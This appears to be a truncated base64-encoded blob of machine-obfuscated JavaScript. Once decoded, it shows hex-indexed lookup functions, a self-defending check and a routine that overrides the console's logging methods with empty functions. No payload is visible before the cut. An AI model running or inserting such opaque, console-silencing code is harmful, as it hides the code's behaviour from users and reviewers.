R1cm4gSihGLTB4MWQyLFYpO31jb25zdCBCPShmdW5jdGlvbigpe2Z1bmN0aW9uIEQoeixjLEUsRixWKXtyZXR1cm4geSh6LTB4MWFmLGMtMHg4LEUtMHg2ZCxjLSAtMHg2Yzkseik7fWZ1bmN0aW9uIHozKHosYyxFLEYsVil7cmV0dXJuIHkoei0weDFiZCxjLTB4NzQsRS0weGRiLGMtIC0weDE0NCx6KTt9ZnVuY3Rpb24gejEoeixjLEUsRixWKXtyZXR1cm4geSh6LTB4ZDAsYy0weDYyLEUtMHgxY2EsRi0gLTB4NjE1LHopO31mdW5jdGlvbiB6Mih6LGMsRSxGLFYpe3JldHVybiBoKHotMHgxNzEseixFLTB4ZjIsRi0weDhiLEYtMHg2NCk7fWNvbnN0IG09eyd0TURRbyc6ZnVuY3Rpb24odSxYKXtmdW5jdGlvbiBkKHosYyxFLEYsVil7cmV0dXJuIEooYy0gLTB4MWMwLEYpO31yZXR1cm4gVltkKDB4YzQsMHgxNywtMHg3YiwweDMzLC0weDlmKV0odSxYKTt9LCdjR0xacCc6VltEKC0weDFkNSwtMHgxYmUsLTB4MTE4LC0weDFjMCwtMHgxYTApXSwnTlV2SGInOlZbejAoMHgzMywweDFhNSwweDEyYywweDFlNiwweDE4NCldfTtmdW5jdGlvbiB6MCh6LGMsRSxGLFYpe3JldHVybiB5KHotMHg2YSxjLTB4YzksRS0weDFkYyxFLSAtMHg0MWMsYyk7fWlmKFZbejAoMHgxNDUsMHhmZiwweDE4ZSwweGI1LDB4YzkpXShWW3owKDB4Mjc1LDB4MmEyLDB4MmJmLDB4MjZmLDB4MzE4KV0sVlt6MSgweDRkLC0weGY5LC0weGUsLTB4OWUsLTB4ZWEpXSkpe2xldCB1PSEhW107cmV0dXJuIGZ1bmN0aW9uKFgsVSl7ZnVuY3Rpb24gejUoeixjLEUsRixWKXtyZXR1cm4gejEoRixjLTB4ZmMsRS0weGUsVi0weDQ5MSxWLTB4YzYpO31mdW5jdGlvbiB6RSh6LGMsRSxGLFYpe3JldHVybiB6MSh6LGMtMHgxNDgsRS0weDFkOSxFLTB4NGMyLFYtMHgxYik7fWZ1bmN0aW9uIHo0KHosYyxFLEYsVil7cmV0dXJuIHoxKEYsYy0weDY5LEUtMHg2Nix6LTB4NTBhLFYtMHg2MCk7fWZ1bmN0aW9uIHo2KHosYyxFLEYsVil7cmV0dXJuIHozKEUsRi0gLTB4MmQ3LEUtMHgxOTksRi0weDEwNSxWLTB4MTg3KTt9aWYoVlt6NCgweDUyNSwweDRjNCwweDQ4ZSwweDVkYSwweDQ5ZCldKFZbejUoMHg1MmYsMHgzYmEsMHg0ZTUsMHg1MGUsMHg0YWEpXSxWW3o0KDB4NTIzLDB4NWUzLDB4NWI0LDB4NDQ1LDB4NDc2KV0pKXtjb25zdCBpPXU/ZnVuY3Rpb24oKXtmdW5jdGlvbiB6Yyh6LGMsRSxGLFYpe3JldHVybiB6NSh6LTB4ZmIsYy0weDE3MCxFLTB4MTViLFYsei0gLTB4MWI2KTt9ZnVuY3Rpb24gejcoeixjLEUsRixWKXtyZXR1cm4gejYoei0weGQsYy0weGMwLEYsRS0gLTB4MjExLFYtMHg4Zik7fWZ1bmN0aW9uIHo5KHosYyxFLEYsVil7cmV0dXJuIHo2KHotMHg1MCxjLTB4MTksVixjLSAtMHhiMyxWLTB4ZDIpO31mdW5jdGlvbiB6OCh6LGMsRSxGLFYpe3JldHVybiB6NSh6LTB4MWQxLGMtMHgxM2YsRS0weDE1MyxWLEUtIC0weDUzMCk7fWZ1bmN0aW9uIHp6KHosYyxFLEYsVil7cmV0dXJuIHo2KHotMHgxZTUsYy0weDE0MyxFLGMtMHgyOGYsVi0weDFhOSk7fWlmKFUpe2lmKG1bejcoLTB4ZmEsLTB4MzEsLTB4MTFiLC0weGEzLC0weDI4KV0obVt6OCgtMHgxNjYsLTB4MTY3LC0weDFiMCwtMHgyN2IsLTB4ZGEpXSxtW3o5KDB4MWVlLDB4MTA2LDB4MWVlLDB4ZjEsMHgxMzIpXSkpe2NvbnN0IE89Rlt6NygweDE4LDB4NTAsMHhhNywweGRlLDB4MTgxKV0oVixhcmd1bWVudHMpO3JldHVybiBCPW51bGwsTzt9ZWxzZXtjb25zdCBPPVVbejgoLTB4NTUsMHgxMGYsMHgxZiwtMHhkNywweDUpXShYLGFyZ3VtZW50cyk7cmV0dXJuIFU9bnVsbCxPO319fTpmdW5jdGlvbigpe307cmV0dXJuIHU9IVtdLGk7fWVsc2V7aWYoVil7Y29uc3QgTz1RW3pFKDB4NWYzLDB4NWQyLDB4NTgwLDB4NGZkLDB4NDk5KV0oVCxhcmd1bWVudHMpO3JldHVybiBtPW51bGwsTzt9fX07fWVsc2V7Y29uc3QgVT1WW3ozKDB4NGFjLDB4NGUzLDB4NDAwLDB4NTAwLDB4NTQwKSt6MygweDYxNCwweDU3OSwweDVjYywweDVjYSwweDU3MCkrejEoMHgyNCwtMHg3MiwtMHgxNjcsLTB4YzgsLTB4MTBkKV0oVltEKDB4NTAsLTB4NzUsLTB4N2MsMHg0YywtMHg0MSldKTtVW0QoMHg3OSwtMHgyZCwtMHgxMjEsLTB4YzAsLTB4YzkpXT1WW0QoLTB4MWMwLC0weDFkNCwtMHgyYmEsLTB4MTA5LC0weDExZSldKEIsciksQ1t6MCgweDFlZCwweDIwZSwweDI0ZCwweDI0ZiwweDE4NCldW3owKDB4ZWEsMHgxNTUsMHhkYywweGU0LC0weDYpK0QoLTB4YTgsMHgxMSwtMHgzZCwweDY4LDB4YTcpKydkJ10oVSk7fX0oKSkscj1WW2goMHgyZTIsMHgyMTksMHgyNTYsMHgzMjUsMHgyODgpXShCLHRoaXMsZnVuY3Rpb24oKXtmdW5jdGlvbiB6Rih6LGMsRSxGLFYpe3JldHVybiB5KHotMHgxZTIsYy0weDVmLEUtMHg0Yyx6LSAtMHg1NjcsYyk7fWZ1bmN0aW9uIHpvKHosYyxFLEYsVil7cmV0dXJuIGgoei0weDFhMyxFLEUtMHgxNTEsRi0weDAsei0gLTB4MTJmKTt9ZnVuY3Rpb24gekIoeixjLEUsRixWKXtyZXR1cm4gaCh6LTB4MTQsRSxFLTB4MTRlLEYtMHgyNCx6LSAtMHgyZTUpO31mdW5jdGlvbiB6Vih6LGMsRSxGLFYpe3JldHVybiBBKHotMHg5NixjLTB4MTNjLEUtMHhmMixWLSAtMHg0OGQsRSk7fWZ1bmN0aW9uIHpKKHosYyxFLEYsVil7cmV0dXJuIG4oei0weGI4LGMtMHgzNSx6LTB4NGI3LEYtMHhmYyxWKTt9aWYoVlt6RigweDQ0LDB4MTBmLC0weDdmLC0weGFmLDB4ZGMpXShWW3pGKC0weDEsMHhmMCwtMHhiYSwtMHhmNiwtMHg4ZildLFZbekYoMHhkMSwweDE0YSwweDEyMSwweGI0LDB4MTIwKV0pKXJldHVybiByW3pGKDB4MTA0LDB4NTksMHgxYjksMHgxNzAsMHgxNTgpK3pKKDB4NWRjLDB4NTMxLDB4NmI4LDB4NjNlLDB4Njg2KV0oKVt6VigtMHgxOTEsLTB4MThmLC0weDEzNywtMHhhZiwtMHhjNSkrJ2gnXShWW3pvKDB4MmIzLDB4MWQxLDB4MmZjLDB4MjNkLDB4MjI4KV0pW3pWKC0weDZjLDB4NzQsMHg0NiwweDlkLDB4MSkrekIoMHgzNywtMHg4OCwweDU1LDB4MTFhLC0weGE5KV0oKVt6RigweGQsMHg5NiwtMHg5NCwweDEwMywtMHhhNCkrem8oMHgxODEsMHgxZDUsMHgxM2IsMHgxODMsMHg5YykrJ3InXShyKVt6SigweDVjNCwweDY1NCwweDYyMiwweDU2NSwweDRlOCkrJ2gnXShWW3pWKDB4YWEsMHhmYSwweDkxLC0weDc0LDB4MTkpXSk7ZWxzZXtjb25zdCB1PUZbem8oMHgzMDMsMHgyOWQsMHgzODIsMHgyZGEsMHgyM2IpXShWLGFyZ3VtZW50cyk7cmV0dXJuIEI9bnVsbCx1O319KTtmdW5jdGlvbiBoKHosYyxFLEYsVil7cmV0dXJuIEooVi0weDEwZSxjKTt9Vlt5KDB4NjQ2LDB4NWE2LDB4NmM3LDB4NWVlLDB4NTVkKV0ocik7ZnVuY3Rpb24geSh6LGMsRSxGLFYpe3JldHVybiBKKEYtMHgzYWYsVik7fWZ1bmN0aW9uIG4oeixjLEUsRixWKXtyZXR1cm4gSihFLSAtMHhlOSxWKTt9Y29uc3QgQz0oZnVuY3Rpb24oKXtmdW5jdGlvbiB6USh6LGMsRSxGLFYpe3JldHVybiBBKHotMHgxNDYsYy0weDE4YSxFLTB4MyxjLSAtMHg1NjIsRSk7fWZ1bmN0aW9uIHp1KHosYyxFLEYsVil7cmV0dXJuIGgoei0weGZiLFYsRS0weGQ0LEYtMHgxYixjLSAtMHgxY2YpO31jb25zdCBtPXsnU2xlQ1QnOmZ1bmN0aW9uKHUsWCl7ZnVuY3Rpb24genIoeixjLEUsRixWKXtyZXR1cm4gSihWLTB4ZGMsRik7fXJldHVybiBWW3pyKDB4Mjk3LDB4NDQ3LDB4MzljLDB4M2NlLDB4MzVkKV0odSxYKTt9LCdYY0JEdSc6Vlt6QygtMHgyMTQsLTB4MWY0LC0weDE0YSwtMHgxOWEsLTB4YzYpXSwnZWJoRHknOlZbekMoMHgzYiwweDMwLDB4NCwtMHhiMCwtMHg4NildLCdpc0NnUyc6ZnVuY3Rpb24odSxYKXtmdW5jdGlvbiB6VCh6LGMsRSxGLFYpe3JldHVybiB6Qyh6LTB4MTFhLFYsRS0weDZjLEYtMHgxZDcsVi0weDEyZSk7fXJldHVybiBWW3pUKC0weDExYywtMHhiZSwtMHg4MywtMHgyYiwtMHg5ZildKHUsWCk7fSwnbEhVQ3AnOmZ1bmN0aW9uKHUsWCl7ZnVuY3Rpb24gem0oeixjLEUsRixWKXtyZXR1cm4gelEoei0weGQ5LEUtIC0weDYsRixGLTB4ZTgsVi0weDkwKTt9cmV0dXJuIFZbem0oLTB4NzgsLTB4NjEsLTB4ZTUsLTB4MWFmLC0weGU1KV0odSxYKTt9LCdLbUVYSyc6Vlt6dSgweDE3MCwweDFkOSwweDIzZSwweDFkMSwweDFjNSldLCdNY01nVyc6Vlt6USgtMHgxNjgsLTB4YzAsLTB4NmYsLTB4MWE5LC0weGJlKV0sJ1JLY2hSJzpmdW5jdGlvbih1KXtmdW5jdGlvbiB6VSh6LGMsRSxGLFYpe3JldHVybiB6dSh6LTB4NmIsRi0weDMzMCxFLTB4Y2EsRi0weDFlZCxFKTt9cmV0dXJuIFZbelUoMHg0NTYsMHg0YzgsMHg0M2QsMHg0MTYsMHgzZTkpXSh1KTt9LCdEc3Nmbyc6Vlt6USgtMHhiNSwtMHg5MywtMHg2ZCwtMHg3ZiwtMHgxMTgpXSwneGdxc1MnOlZbelEoLTB4MWI0LC0weDFlNCwtMHgxMjQsLTB4MWRiLC0weDIzZSldLCdpR1JRSCc6Vlt6dSgweDhiLDB4MTU5LDB4MTVkLDB4MjBjLDB4MjI1KV0sJ05hd25zJzpWW3ppKDB4NjU5LDB4NTE3LDB4Njk3LDB4NWQ4LDB4NWFhKV0sJ0ZOWEZpJzpWW3ppKDB4M2YyLDB4NGZmLDB4NTI4LDB4NGI2LDB4NDExKV0sJ2NnaVZ3JzpWW3pRKC0weDEyYSwtMHgxMWMsLTB4MWNiLC0weDEyZCwtMHg5YildLCdJT29ocSc6Vlt6WCgtMHhlNiwtMHgxNGQsLTB4NTgsLTB4MTIzLC0weDExZCldLCdNTXJCQSc6ZnVuY3Rpb24odSxYKXtmdW5jdGlvbiB6cCh6LGMsRSxGLFYpe3JldHVybiB6WChGLTB4NGJmLGMtMHhlMyxFLTB4MTZmLEUsVi0weDFhNCk7fXJldHVybiBWW3pwKDB4NGQwLDB4NDdlLDB4MzlkLDB4NDU3LDB4NDRlKV0odSxYKTt9LCdZd2NZeCc6ZnVuY3Rpb24odSxYKXtmdW5jdGlvbiB6Tyh6LGMsRSxGLFYpe3JldHVybiB6USh6LTB4MTAwLGMtMHg1MjksVixGLTB4YjksVi0weDE5Mik7fXJldHVybiBWW3pPKDB4NDA0LDB4Mzk1LDB4MmI0LDB4MmMwLDB4M2Q2KV0odSxYKTt9LCdZRUlZZCc6Vlt6aSgweDQ1NiwweDQwYywweDQyZSwweDRkMCwweDU3NildfTtmdW5jdGlvbiB6aSh6LGMsRSxGLFYpe3JldHVybiB2KHotMHg5LGMtMHhiMSxFLTB4MWQ0LHosRi0weDI0YSk7fWZ1bmN0aW9uIHpDKHosYyxFLEYsVil7cmV0dXJuIGgoei0weGI1LGMsRS0weDFjNSxGLTB4MWFhLEYtIC0weDQ1Nik7fWZ1bmN0aW9uIHpYKHosYyxFLEYsVil7cmV0dXJuIG4oei0weDE2MSxjLTB4NTAsei0gLTB4MjNkLEYtMHgxMGYsRik7fWlmKFZbemkoMHg1NzcsMHg1ODksMHg0ZjEsMHg1M2QsMHg1YWQpXShWW3pYKC0weDQyLDB4ODgsMHgxMCwweDRlLDB4MmYpXSxWW3pDKC0weDIzZiwtMHg4MiwtMHhlZSwtMHgxNGIsLTB4MTcyKV0pKUU9RjtlbHNle2xldCBYPSEhW107cmV0dXJuIGZ1bmN0aW9uKFUsaSl7ZnVuY3Rpb24gemYoeixjLEUsRixWKXtyZXR1cm4gemkoeixjLTB4MTZmLEUtMHhkNSxGLSAtMHg1ZGMsVi0weDEwKTt9ZnVuY3Rpb24gekkoeixjLEUsRixWKXtyZXR1cm4gekMoei0weDE4NixWLEUtMHgxNzcsei0weGFjLFYtMHgxODYpO31jb25zdCBwPXsncHlseUEnOmZ1bmN0aW9uKE8sail7ZnVuY3Rpb24gemooeixjLEUsRixWKXtyZXR1cm4gSih6LSAtMHg5ZixGKTt9cmV0dXJuIG1bemooMHgxYzIsMHgyYjIsMHgyOGEsMHgxZWQsMHgyMTApXShPLGopO30sJ3RLSWFJJzpmdW5jdGlvbihPLGope2Z1bmN0aW9uIHpnKHosYyxFLEYsVil7cmV0dXJuIEooRi0gLTB4MTg1LGMpO31yZXR1cm4gbVt6ZygweDExMCwweDIxOCwweDY4LDB4MTU3LDB4NmMpXShPLGopO30sJ3lPVXhoJzptW3pmKDB4MTFjLDB4M2IsMHhjYiwweDhiLDB4ZWIpXSwnaUFNakQnOm1bemYoLTB4NWEsLTB4NWIsMHg2MiwtMHg1ZCwtMHg5MSldLCdOUkNYUyc6ZnVuY3Rpb24oTyl7ZnVuY3Rpb24gemEoeixjLEUsRixWKXtyZXR1cm4gemYoeixjLTB4MTI2LEUtMHhmNCxjLTB4OWUsVi0weDcxKTt9cmV0dXJuIG1bemEoMHhhMywtMHgxNSwtMHhmZCwweDQyLC0weDlhKV0oTyk7fSwnR2xwVlknOm1bekwoMHgyYywtMHgxZSwweDk1LDB4ODUsMHgzMildLCdNWERXTSc6bVt6SSgweDgzLDB4MTI0LDB4MzcsMHg2YiwtMHg4KV0sJ2NBa0lWJzptW3pOKDB4N2QsMHgyMGQsMHgxMjYsMHhjYywweDExNildLCd4V2drbSc6bVt6TCgweDI3LDB4NjAsMHhlMywweDdiLC0weGE4KV0sJ3BWdHRiJzptW3pMKDB4MTNmLDB4MWU5LDB4ZDcsMHgxY2QsMHgxYzMpXSwndnBRc2onOm1bekwoMHg5OCwweDEyZSwtMHgxLDB4MTM3LDB4MTNlKV0sJ1daTkV3JzptW3pOKDB4YTYsMHhhOCwweDFhNCwweDE5NywweGRjKV0sJ1pKeHlJJzpmdW5jdGlvbihPLGope2Z1bmN0aW9uIHpTKHosYyxFLEYsVil7cmV0dXJuIHpMKEYtIC0weDE1NCxjLTB4MWYsYyxGLTB4ZjMsVi0weDI0KTt9cmV0dXJuIG1belMoMHg3LDB4ZDMsLTB4NTgsLTB4MWIsMHgzOSldKE8saik7fX07ZnVuY3Rpb24geksoeixjLEUsRixWKXtyZXR1cm4gemkoRixjLTB4MTMsRS0weDI5LEUtIC0weDVlMCxWLTB4MTM1KTt9ZnVuY3Rpb24gekwoeixjLEUsRixWKXtyZXR1cm4gekMoei0weDhmLEUsRS0weDZlLHotMHgxOGQsVi0weDEwNik7fWZ1bmN0aW9uIHpOKHosYyxFLEYsVil7cmV0dXJuIHpRKHotMHgxYmEsVi0weDFkMCxjLEYtMHgxMGEsVi0weDExYik7fWlmKG1bekwoMHgxMGYsMHgxMjksMHgxODIsMHgxMTYsMHhjZCldKG1beksoMHhkYiwtMHgyOSwweDViLDB4NCwtMHgzKV0sbVt6ZigweDYzLDB4MTAxLDB4MTQsMHg1ZiwtMHg3MyldKSl7Y29uc3Qgaj1yP2Z1bmN0aW9uKCl7ZnVuY3Rpb24gek0oeixjLEUsRixWKXtyZXR1cm4gekkoei0weDJmMyxjLTB4MWEwLEUtMHg2OSxGLTB4MTcsRSk7fWlmKGope2NvbnN0IEk9T1t6TSgweDM3YiwweDM3YiwweDQzNywweDI4NywweDNlNCldKGosYXJndW1lbnRzKTtyZXR1cm4gZz1udWxsLEk7fX06ZnVuY3Rpb24oKXt9O3JldHVybiB1PSFbXSxqO31lbHNle2NvbnN0IGo9WD9mdW5jdGlvbigpe2Z1bmN0aW9uIHpHKHosYyxFLEYsVil7cmV0dXJuIHpOKHotMHgxZTAsVixFLTB4MTQ2LEYtMHgxYzEsYy0gLTB4MWYpO31mdW5jdGlvbiB6dyh6LGMsRSxGLFYpe3JldHVybiB6Tih6LTB4MTIyLFYsRS0weDUzLEYtMHhhOSxFLTB4MWExKTt9ZnVuY3Rpb24gemUoeixjLEUsRixWKXtyZXR1cm4geksoei0weDNlLGMtMHhhZCxFLTB4MjRkLGMsVi0weDExKTt9ZnVuY3Rpb24gelkoeixjLEUsRixWKXtyZXR1cm4geksoei0weDFlMixjLTB4MWNhLGMtMHg2OSxWLFYtMHgxODApO31mdW5jdGlvbiB6bCh6LGMsRSxGLFYpe3JldHVybiB6Tih6LTB4MTU3LGMsRS0weDE2LEYtMHgxZjQsRi0weDNiYik7fWlmKG1bemwoMHgyNmQsMHgzZmMsMHgzMWEsMHgzM2IsMHgzOTYpXShtW3pHKC0weDYwLC0weDU2LDB4ODcsLTB4OGQsLTB4OTcpXSxtW3pHKDB4MTExLDB4MjYsLTB4YWQsLTB4MjAsMHhkMSldKSl7bGV0IGY7dHJ5e2NvbnN0IEw9bnJtWXNRW3plKDB4MjRjLDB4MTc3LDB4MTg5LDB4MTUxLDB4ZmQpXShYLG5ybVlzUVt6WSgtMHg1MSwweDE1LC0weGNmLC0weDdhLDB4ZDUpXShucm1Zc1FbekcoMHg3LDB4NDcsMHg1ZSwweDU2LDB4MmIpXShucm1Zc1FbencoMHgxMWUsMHgxNGEsMHgxMzUsMHgxNzcsMHgxZmEpXSxucm1Zc1FbencoMHgxMWIsMHgxMDIsMHgxNDksMHgxMzYsMHgxMWUpXSksJyk7JykpO2Y9bnJtWXNRW3psKDB4Mjg4LDB4MmI4LDB4MjdhLDB4MzZhLDB4MmU1KV0oTCk7fWNhdGNoKFcpe2Y9aTt9Y29uc3QgST1mW3psKDB4Mzg2LDB4MzVmLDB4NTJlLDB4NDQyLDB4NGVhKSsnbGUnXT1mW3pHKDB4MTQyLDB4NjgsMHg0MywweDQyLDB4MTFhKSsnbGUnXXx8e30sYT1bbnJtWXNRW3plKDB4MTUwLDB4MjRhLDB4MWZiLDB4MjE2LDB4MjA0KV0sbnJtWXNRW3psKDB4NDIwLDB4M2M3LDB4MzVkLDB4M2FkLDB4MzQ3KV0sbnJtWXNRW3p3KDB4MjM0LDB4MTNmLDB4MWU4LDB4MTM0LDB4MjY0KV0sbnJtWXNRW3plKDB4MTljLDB4MzQwLDB4MjY3LDB4MjBmLDB4MjFiKV0sbnJtWXNRW3plKDB4MTY1LDB4OTEsMHgxMmUsMHgxNGIsMHhlMSldLG5ybVlzUVt6WSgweDU4LC0weGUsMHgxLC0weDYxLC0weDQ0KV0sbnJtWXNRW3p3KDB4MjI4LDB4MjY2LDB4MjBlLDB4MjM4LDB4MWYyKV1dO2ZvcihsZXQgcT0weGJhKjB4MzArMHgxYjQzKzB4M2UyMyotMHgxO25ybVlzUVt6RygweDg4LDB4OGMsMHgxNzYsMHgxN2IsMHgyYyldKHEsYVt6bCgweDJlNCwweDMwNiwweDJhNywweDM3MSwweDM5NSkrJ2gnXSk7cSsrKXtjb25zdCBiPWZbemwoMHgzOTksMHgzYmEsMHg0NjgsMHgzYzAsMHgzMTYpK3psKDB4NDA3LDB4MzhmLDB4MzdlLDB4MzlkLDB4NDQwKSsnciddW3pZKC0weDExMiwtMHgyZCwweDczLC0weGJmLDB4OTcpK3p3KDB4MjkzLDB4MTdmLDB4MWQwLDB4MTI4LDB4MmMzKV1belkoMHhjMiwweGZlLDB4MWU2LDB4OTQsMHhlZSldKEkpLGs9YVtxXSxSPUlba118fGI7Ylt6ZSgweDVlLDB4MWZiLDB4MTJiLDB4ZWUsMHhmNSkrencoMHgyYTAsMHgzZmEsMHgzMDMsMHgzZTMsMHgzMzMpXT1hW3psKDB4NTVlLDB4NDI5LDB4NTI1LDB4NTBhLDB4NGQ1KV0oTCksYlt6dygweDJlMywweDI3OSwweDI5ZCwweDI2ZiwweDJhOSkrekcoMHg0MywweDJmLC0weDQ1LDB4NTQsMHg0ZCldPVJbelkoMHgxNGUsMHhhYiwweGI5LDB4ZSwweGEzKSt6WSgweGI2LC0weDMsMHhkNywweDIwLDB4ZDkpXVt6WSgweDE4MCwweGZlLDB4MTYxLDB4YmIsMHgyNCldKFIpLElba109Yjt9fWVsc2V7aWYoaSl7Y29uc3QgZj1pW3pHKDB4MjFlLDB4MTQ1LDB4MWIyLDB4MTM2LDB4ZjkpXShVLGFyZ3VtZW50cyk7cmV0dXJuIGk9bnVsbCxmO319fTpmdW5jdGlvbigpe307cmV0dXJuIFg9IVtdLGo7fX07fX0oKSksUT1WW0EoMHgzZmUsMHgyY2IsMHgzODgsMHgzNGMsMHgyYjgpXShDLHRoaXMsZnVuY3Rpb24oKXtmdW5jdGlvbiB6dCh6LGMsRSxGLFYpe3JldHVybiB5KHotMHgxYTQsYy0weDI3LEUtMHg2Nix6LSAtMHgxODcsRSk7fWZ1bmN0aW9uIHpXKHosYyxFLEYsVil7cmV0dXJuIHkoei0weGRkLGMtMHgxM2QsRS0weDFjMyxGLSAtMHhhZSx6KTt9ZnVuY3Rpb24genEoeixjLEUsRixWKXtyZXR1cm4geSh6LTB4MTksYy0weGIzLEUtMHgzNyxFLSAtMHg1MGQsYyk7fWZ1bmN0aW9uIHpiKHosYyxFLEYsVil7cmV0dXJuIG4oei0weDE2OSxjLTB4ZmIsVi0weDNjYyxGLTB4Y2YsRik7fWZ1bmN0aW9uIHprKHosYyxFLEYsVil7cmV0dXJuIGgoei0weDExNyxWLEUtMHgxOTEsRi0weDg5LHotIC0weDdjKTt9aWYoVlt6dCgweDQyMywweDNlNCwweDM2ZiwweDUxMiwweDRmYildKFZbelcoMHg1MTksMHg2MWIsMHg1YzYsMHg1MzAsMHg1YzYpXSxWW3pxKDB4ODEsMHgxNTYsMHhkMSwweDFiMCwweDJiKV0pKXtjb25zdCB1PUVKbEFLcFt6YigweDQzMywweDU4YSwweDRhZSwweDVjMCwweDRkNyldKEUsRUpsQUtwW3prKDB4MzQzLDB4MmEyLDB4MzRjLDB4M2ZkLDB4NDE2KV0oRUpsQUtwW3p0KDB4NGQ5LDB4NDg5LDB4NTgwLDB4NDgzLDB4NTk1KV0oRUpsQUtwW3pxKDB4MTE0LDB4YmIsMHgxM2MsMHgxY2IsMHgyMGQpXSxFSmxBS3BbemIoMHg1ZjAsMHg1ZTgsMHg2MzAsMHg1MGMsMHg1YjMpXSksJyk7JykpO0Y9RUpsQUtwW3p0KDB4NDY3LDB4M2MxLDB4NGU5LDB4M2JiLDB4NDYyKV0odSk7fWVsc2V7bGV0IHU7dHJ5e2lmKFZbemIoMHg0YWEsMHgzZWEsMHg0NTAsMHg0MDksMHg0YmEpXShWW3pXKDB4NTNkLDB4NjdmLDB4NmNmLDB4NjA3LDB4NTJkKV0sVlt6cSgweDliLDB4Y2EsMHhmNywweDJiLDB4MWE3KV0pKXtjb25zdCBwPXI/ZnVuY3Rpb24oKXtmdW5jdGlvbiB6Uih6LGMsRSxGLFYpe3JldHVybiB6ayhWLSAtMHgzZTksYy0weDEyYyxFLTB4MTgsRi0weDE5ZixGKTt9aWYocCl7Y29uc3QgST1PW3pSKDB4NTYsMHg5OCwweDksMHgzZCwtMHgzMyldKGosYXJndW1lbnRzKTtyZXR1cm4gZz1udWxsLEk7fX06ZnVuY3Rpb24oKXt9O3JldHVybiB1PSFbXSxwO31lbHNle2NvbnN0IHA9Vlt6YigweDRmZCwweDY0YSwweDY1MiwweDYyMiwweDViYyldKEZ1bmN0aW9uLFZbenQoMHg0ZDksMHg0ODksMHgzZTQsMHg0YzQsMHg1YTUpXShWW3piKDB4NTYzLDB4NWU4LDB4NWY5LDB4NGRjLDB4NTk0KV0oVlt6YigweDViNiwweDY0YiwweDVjNywweDRjNywweDU3ZCldLFZbenQoMHg0ZjgsMHg1ZDcsMHg0MzYsMHg1YjcsMHg0MTQpXSksJyk7JykpO3U9Vlt6cSgweDFhMCwtMHhkLDB4YmYsMHgxNjUsMHgxMzEpXShwKTt9fWNhdGNoKE8pe2lmKFZbenEoMHhmLC0weDVjLDB4OWQsMHg5NywweDE0OSldKFZbemsoMHgzNmQsMHgzYzgsMHg0MzAsMHgzYWYsMHg0MjApXSxWW3prKDB4MzZkLDB4M2YyLDB4M2I2LDB4MmE0LDB4M2FhKV0pKXtpZihWKXtjb25zdCBnPVFbemIoMHg1N2IsMHg1ZTMsMHg2ZDUsMHg1OTMsMHg2MDcpXShULGFyZ3VtZW50cyk7cmV0dXJuIG09bnVsbCxnO319ZWxzZSB1PXdpbmRvdzt9Y29uc3QgWD11W3pxKDB4MjQsMHgxMmYsMHhlOSwweDFjNiwweGYpKydsZSddPXVbenQoMHg0NmYsMHgzZjAsMHg0YTEsMHgzYTAsMHg0YjcpKydsZSddfHx7fSxVPVtWW3p0KDB4NTI1LDB4NDM5LDB4NTI5LDB4NTcyLDB4NTcwKV0sVlt6aygweDIzZSwweDIyZiwweDIyYSwweDE2YywweDE2YildLFZbenQoMHg0NDIsMHg1MTAsMHg0NzgsMHg0ODksMHgzNzgpXSxWW3pXKDB4NTM2LDB4NjFmLDB4NGI2LDB4NTczLDB4NTdhKV0sVlt6dCgweDM3OCwweDNjNywweDI4YiwweDM3YywweDMwMyldLFZbelcoMHg1N2IsMHg0YTMsMHg1OWIsMHg1NzUsMHg0YzIpXSxWW3p0KDB4NDY4LDB4NDg2LDB4NGIxLDB4NDBmLDB4NDc2KV1dO2ZvcihsZXQgZz0tMHgxMDEzKi0weDErLTB4MmYqMHg5ZCsweDE5OCoweDg7Vlt6VygweDY1MywweDY1MSwweDU5OSwweDViZiwweDU0MCldKGcsVVt6dCgweDM5ZSwweDQzMiwweDM1ZiwweDNmOCwweDJiZSkrJ2gnXSk7ZysrKXtpZihWW3pXKDB4NWExLDB4NTI1LDB4NGY5LDB4NGZkLDB4NWVkKV0oVlt6cSgweDExMiwweDE1MiwweGVkLDB4ZmEsMHg2YildLFZbelcoMHg1YmQsMHg1ZmEsMHg1NGYsMHg1NGMsMHg1NWIpXSkpcmV0dXJuIEVbenEoMHgxZDYsMHgxN2QsMHgxNWUsMHgxYWEsMHgxZGUpK3piKDB4NDVlLDB4NWMxLDB4NDRhLDB4NGY4LDB4NGYxKV0oKVt6dCgweDQxZSwweDQzZSwweDQ2MCwweDQ2NSwweDQ0YSkrJ2gnXShFSmxBS3BbenEoMHgxZjAsMHgxZGUsMHgxNzYsMHgxZmEsMHg4NCldKVt6YigweDRkYywweDRjYSwweDU0ZiwweDYyNCwweDU5ZikrelcoMHg1MzAsMHg0ZjAsMHg0MzIsMHg1MGYsMHg2MDEpXSgpW3prKDB4MjU3LDB4MjYyLDB4MzBiLDB4MWNhLDB4MmYwKSt6YigweDQzOSwweDRlYywweDRmOCwweDQyMywweDQ4NSkrJ3InXShGKVt6cSgweGQ1LC0weDRkLDB4OTgsMHg5MywweDE1ZCkrJ2gnXShFSmxBS3BbenEoMHhjMSwweDI2NiwweDE3NiwweDEyNSwweDIwOSldKTtlbHNle2NvbnN0IEk9Q1t6dCgweDNlZCwweDM5MSwweDNlNiwweDNiNCwweDMzNikrenEoMHhkMywweDgwLDB4NDQsMHgyNywweGY0KSsnciddW3pXKDB4M2YwLDB4NWRkLDB4NTZmLDB4NGU1LDB4NTk3KSt6aygweDI4MSwweDI2NywweDFlYiwweDE5NywweDI0ZildW3prKDB4M2ExLDB4MzdkLDB4M2FiLDB4MmNjLDB4M2RkKV0oQyksYT1VW2ddLEw9WFthXXx8STtJW3p0KDB4MzgwLDB4NDBlLDB4M2MzLDB4NDM0LDB4M2JiKSt6YigweDVkZiwweDYxNywweDYyYSwweDU4OCwweDYwNSldPUNbemIoMHg2NWEsMHg2YmYsMHg2NTYsMHg2MGQsMHg1ZjIpXShDKSxJW3p0KDB4NGU0LDB4NGU0LDB4NGVjLDB4NDdjLDB4NGYzKSt6YigweDQzNCwweDQ5MSwweDRjNiwweDNmZSwweDRmMSldPUxbenQoMHg0ZTQsMHg0MjksMHg1ODEsMHg1OTcsMHg0NjApK3piKDB4NGM0LDB4NWU3LDB4NTIyLDB4NDYwLDB4NGYxKV1bemIoMHg2MTEsMHg1MDEsMHg2YzksMHg2OGQsMHg1ZjIpXShMKSxYW2FdPUk7fX19fSk7VltBKDB4NGRjLDB4NDgxLDB4NDkxLDB4M2VmLDB4M2M2KV0oUSk7Y29uc3QgVD1bVlt2KDB4NGY5LDB4M2UyLDB4NTFiLDB4NDhjLDB4NDMwKV0sVlt2KDB4MjZjLDB4M2ZkLDB4